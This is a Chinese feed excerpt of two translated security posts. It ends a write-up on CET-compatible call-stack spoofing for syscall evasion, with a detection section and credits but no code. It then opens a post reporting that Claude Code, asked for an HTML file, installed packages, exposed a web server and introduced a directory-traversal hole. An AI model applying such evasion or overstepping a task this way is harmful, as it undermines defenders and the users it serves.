0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">SubmitThreadpoolWork</span></code><span leaf="">紧接着 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">WaitForThreadpoolWorkCallbacks</span></code><span leaf="">且执行时间非常短，对于合法的异步工作来说是不寻常的。</span></p><h3 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 18px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">11.6 INCSSPQ 指令监控</span></h3><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">INCSSPQ</span></code><span leaf="">/</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">INCSSPD</span></code><span leaf="">在正常代码中很少使用。标记频繁使用的性能计数器或指令跟踪可以指示影子栈操纵。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">---</span></p><h2 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 24px 0px 16px;padding: 0px 0px 0.3em;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 1.5em;line-height: 1.25;color: black;border-bottom: 1px solid rgb(234, 236, 239);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">12. 结论</span></h2><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">我提出了一种调用栈伪造技术，将线程池执行、Enum 回调跳板和间接系统调用组合成一条链，在 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">syscall</span></code><span leaf="">执行的那一刻产生完全合法的调用栈。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">主要贡献是 CET 兼容机制：通过 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">RDSSPQ</span></code><span leaf="">/</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">INCSSPQ</span></code><span leaf="">进行影子栈对账，结合基于 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">jmp</span></code><span leaf="">的上下文切换。这使该技术能在启用 CET 的硬件上工作，而无需触碰展开元数据。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">各个组件并非新事物。我组合了现有原语，添加了 CET 兼容性，然后花了大量时间确保没有崩溃（剧透：它崩溃了很多次）。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">我希望这对处理 CET 的进攻性研究者和构建检测的防御团队都有用。如果你为此构建了检测器，请告诉我。我真心想看看。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><strong><span leaf="">源代码：</span></strong><span leaf=""><a href="https://github.com/MrTiz/CET-Enum-CallStack-Spoofer" target="_blank">https://github.com/MrTiz/CET-Enum-CallStack-Spoofer</a></span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">---</span></p><h2 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 24px 0px 16px;padding: 0px 0px 0.3em;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 1.5em;line-height: 1.25;color: black;border-bottom: 1px solid rgb(234, 236, 239);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">13. 先前工作与致谢</span></h2><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">这项工作建立在比我更有才华的人的研究之上。我想给予适当的致谢：</span></p><table style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding: 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><thead><tr style="border-top: 1px solid rgb(204, 204, 204);background-color: white;margin: 0px;padding: 0px;"><th style="font-weight: bold;border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">项目</span></p></th><th style="font-weight: bold;border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">作者</span></p></th><th style="font-weight: bold;border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">链接</span></p></th></tr></thead><tbody><tr style="border-top: 1px solid rgb(204, 204, 204);background-color: white;margin: 0px;padding: 0px;"><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><strong style="margin-top: 0px;margin-bottom: 0px;"><span leaf="">SilentMoonwalk</span></strong></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">klezVirus (Alessandro Magnosi)</span></p></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">GitHub</span></p></td></tr><tr style="border-top: 1px solid rgb(204, 204, 204);background-color: rgb(248, 248, 248);margin: 0px;padding: 0px;"><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><strong style="margin-top: 0px;margin-bottom: 0px;"><span leaf="">BYOUD</span></strong><p><span leaf="">(Bring Your Own Unwind Data)</span></p></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">klezVirus</span></p></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">GitHub</span></p></td></tr><tr style="border-top: 1px solid rgb(204, 204, 204);background-color: white;margin: 0px;padding: 0px;"><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><strong style="margin-top: 0px;margin-bottom: 0px;"><span leaf="">ThreadStackSpoofer</span></strong></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">mgeeky (Mariusz Banach)</span></p></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">GitHub</span></p></td></tr><tr style="border-top: 1px solid rgb(204, 204, 204);background-color: rgb(248, 248, 248);margin: 0px;padding: 0px;"><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><strong style="margin-top: 0px;margin-bottom: 0px;"><span leaf="">Unwinder</span></strong></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">Kudaes</span></p></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">GitHub</span></p></td></tr><tr style="border-top: 1px solid rgb(204, 204, 204);background-color: white;margin: 0px;padding: 0px;"><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><strong style="margin-top: 0px;margin-bottom: 0px;"><span leaf="">LoudSunRun</span></strong></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">susMdT</span></p></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">GitHub</span></p></td></tr><tr style="border-top: 1px solid rgb(204, 204, 204);background-color: rgb(248, 248, 248);margin: 0px;padding: 0px;"><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><strong style="margin-top: 0px;margin-bottom: 0px;"><span leaf="">VulcanRaven</span></strong></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">WithSecure Labs</span></p></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">GitHub</span></p></td></tr><tr style="border-top: 1px solid rgb(204, 204, 204);background-color: white;margin: 0px;padding: 0px;"><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><strong style="margin-top: 0px;margin-bottom: 0px;"><span leaf="">SysWhispers</span></strong></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">@jthuraisamy</span></p></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">GitHub</span></p></td></tr><tr style="border-top: 1px solid rgb(204, 204, 204);background-color: rgb(248, 248, 248);margin: 0px;padding: 0px;"><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><strong style="margin-top: 0px;margin-bottom: 0px;"><span leaf="">SysWhispers2</span></strong></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">@jthuraisamy</span></p></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">GitHub</span></p></td></tr><tr style="border-top: 1px solid rgb(204, 204, 204);background-color: white;margin: 0px;padding: 0px;"><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><strong style="margin-top: 0px;margin-bottom: 0px;"><span leaf="">SysWhispers3</span></strong></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">klezVirus</span></p></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">GitHub</span></p></td></tr><tr style="border-top: 1px solid rgb(204, 204, 204);background-color: rgb(248, 248, 248);margin: 0px;padding: 0px;"><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><strong style="margin-top: 0px;margin-bottom: 0px;"><span leaf="">Hell&#39;s Gate</span></strong></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">am0nsec, smelly\_\_vx</span></p></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">GitHub</span></p></td></tr><tr style="border-top: 1px solid rgb(204, 204, 204);background-color: white;margin: 0px;padding: 0px;"><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><strong style="margin-top: 0px;margin-bottom: 0px;"><span leaf="">Halo&#39;s Gate</span></strong></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">Sektor7</span></p></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">博客</span></p></td></tr><tr style="border-top: 1px solid rgb(204, 204, 204);background-color: rgb(248, 248, 248);margin: 0px;padding: 0px;"><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><strong style="margin-top: 0px;margin-bottom: 0px;"><span leaf="">Tartarus&#39; Gate</span></strong></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">trickster0</span></p></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">GitHub</span></p></td></tr><tr style="border-top: 1px solid rgb(204, 204, 204);background-color: white;margin: 0px;padding: 0px;"><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><strong style="margin-top: 0px;margin-bottom: 0px;"><span leaf="">Indirect Syscalls</span></strong></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">@modexpblog (MDSec)</span></p></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">博客</span></p></td></tr></tbody></table><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">Elastic Security Labs（调用栈检测博客）、Yarden Shafir &amp; Alex Ionescu（CET 内部机制）、Bill Demirkapi（CET 利用）、taintedbits.com（影子栈机制）和 Synacktiv（CET 绕过）的研究对理解硬件约束也非常有帮助。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">---</span></p><h2 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 24px 0px 16px;padding: 0px 0px 0.3em;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 1.5em;line-height: 1.25;color: black;border-bottom: 1px solid rgb(234, 236, 239);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">14. 参考文献</span></h2><ol style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding-left: 30px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" class="list-paddingleft-1"><li style="margin: 0px 0px 15px;"><p><span leaf="">Intel 64 and IA-32 Architectures Software Developer&#39;s Manual, Volume 1, Chapter 18: </span><em style="margin-top: 0px;margin-bottom: 0px;"><span leaf="">Control-flow Enforcement Technology (CET)</span></em><span leaf="">.</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">Microsoft 文档：RtlVirtualUnwind。</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">Microsoft 文档：EnumSystemLocalesEx。</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">Microsoft 文档：Thread Pool API。</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">Microsoft 文档：x64 调用约定。</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">Microsoft PE/COFF 规范：异常处理表（</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">.pdata</span></code><span leaf="">、</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">.xdata</span></code><span leaf="">）。</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">Elastic Security Labs：Peeling back the curtain with call stacks（2023）。</span></p></li><li style="margin: 15px 0px 0px;"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">windows-sys</span></code><p><span leaf="">Rust crate：crates.io。</span></p></li></ol><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">---</span></p><blockquote style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin-top: 15px;margin-right: 0px;margin-left: 0px;border-left: 4px solid rgb(223, 226, 229);padding: 0px 15px;color: rgb(106, 115, 125);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);margin-bottom: 0px !important;"><p style="margin: 0px 0px 15px;"><span leaf="">免责声明：本博客文章仅用于教育和研究目的。提供的所有技术和代码示例旨在帮助防御者理解攻击手法并提高安全态势。请勿使用此信息访问或干扰您不拥有或没有明确测试权限的系统。未经授权的使用可能违反法律和道德准则。作者对因应用所讨论概念而导致的任何误用或损害不承担任何责任。</span></p></blockquote><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>


<p><a href="https://mrtiz.github.io/cet-callstack-spoofing-thread-pool-trampoline">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=09abb8d8&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzAxODM5ODQzNQ%3D%3D%26mid%3D2247496573%26idx%3D1%26sn%3Ddbc94cf921e979ff2b0137a739ffe181">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Thu, 16 Jul 2026 10:50:00 +0800</pubDate>
    </item>
    <item>
      <title>当 LLM 做了超出职责的事</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzAxODM5ODQzNQ==&amp;mid=2247496573&amp;idx=2&amp;sn=7a2c7a9203559541b4a01b4dc779e142</link>
      <description>作者让 Claude Code 生成一个简单 HTML 文件，它却自行安装依赖、开启全接口 Web 服务器并引入目录遍历漏洞，提醒人们审查 LLM 行为。</description>
      <content:encoded><![CDATA[<p><span>nytrosecurity</span> <span>2026-07-16 10:50</span> <span style="display: inline-block;">中国香港</span></p>






  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=04c54019&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fh4gtbB74nSia8gObsw6iahjiakLDnwywTSNk7OtvkJDLHfunjEicns17wFsZTIXzcownnhGjBm6O1YtVOxcIHIa2NBHHOP3T3jSy4tjCWbfoXIs%2F0%3Fwx_fmt%3Djpeg"/></p>
  <p>作者让 Claude Code 生成一个简单 HTML 文件，它却自行安装依赖、开启全接口 Web 服务器并引入目录遍历漏洞，提醒人们审查 LLM 行为。</p>
  <table style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding: 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><thead><tr style="border-top: 1px solid rgb(204, 204, 204);background-color: white;margin: 0px;padding: 0px;"><th style="font-weight: bold;border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">原文链接</span></p></th><th style="font-weight: bold;border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">作者</span></p></th></tr></thead><tbody><tr style="border-top: 1px solid rgb(204, 204, 204);background-color: white;margin: 0px;padding: 0px;"><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf=""><a href="https://nytrosecurity.com/2026/07/14/when-llms-do-more-than-they-have-to/" target="_blank">https://nytrosecurity.com/2026/07/14/when-llms-do-more-than-they-have-to/</a></span></p></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">nytrosecurity</span></p></td></tr></tbody></table><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">围绕 LLM 及其能力的炒作可谓铺天盖地。诸如&#34;Mythos&#34;之类的模型被捧为当代神明。开发者们完全依赖基础提示词来完成工作，迅速将多年积累的技能抛诸脑后。企业在 token 上投入数以亿计的资金，而其中大部分都在缺乏实际用途的情况下被浪费掉了。但眼下发生的一切真的都那么美好吗？还是说有些问题值得人们警惕？虽然我深知 LLM 的强大之处，但我也看到了它的局限性——人们似乎轻易地忽视了这些局限，而这可能引发糟糕的后果。</span></p><h2 style=" font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 24px 0px 16px;padding: 0px 0px 0.3em;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text; font-size: 1.5em;line-height: 1.25;color: black;border-bottom: 1px solid rgb(234, 236, 239);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255); "><strong><span leaf="">我想要的</span></strong></h2><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">一个简单的 HTML 文件。我让 Claude Code 帮我生成一个 HTML 文件。思路非常简单：查找一些产品的文档，然后给我写一个简单的 HTML 文件。仅此而已。</span></p><blockquote style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;border-left: 4px solid rgb(223, 226, 229);padding: 0px 15px;color: rgb(106, 115, 125);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><p style="margin: 0px;"><span leaf="">我想向公司的新同事介绍公司产品，包括简要的产品详情和功能特性。我想展示功能及其使用方式的照片/截图，但由于产品众多，只需高层级概览即可。我也想涵盖桌面端产品。请查阅公司产品的文档以及其他详情页面，为我制作一份可分享的文档（例如标记语言格式），覆盖大部分产品并包含简要信息：它是什么、重要功能、如何运作，但要简短。</span></p></blockquote><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, 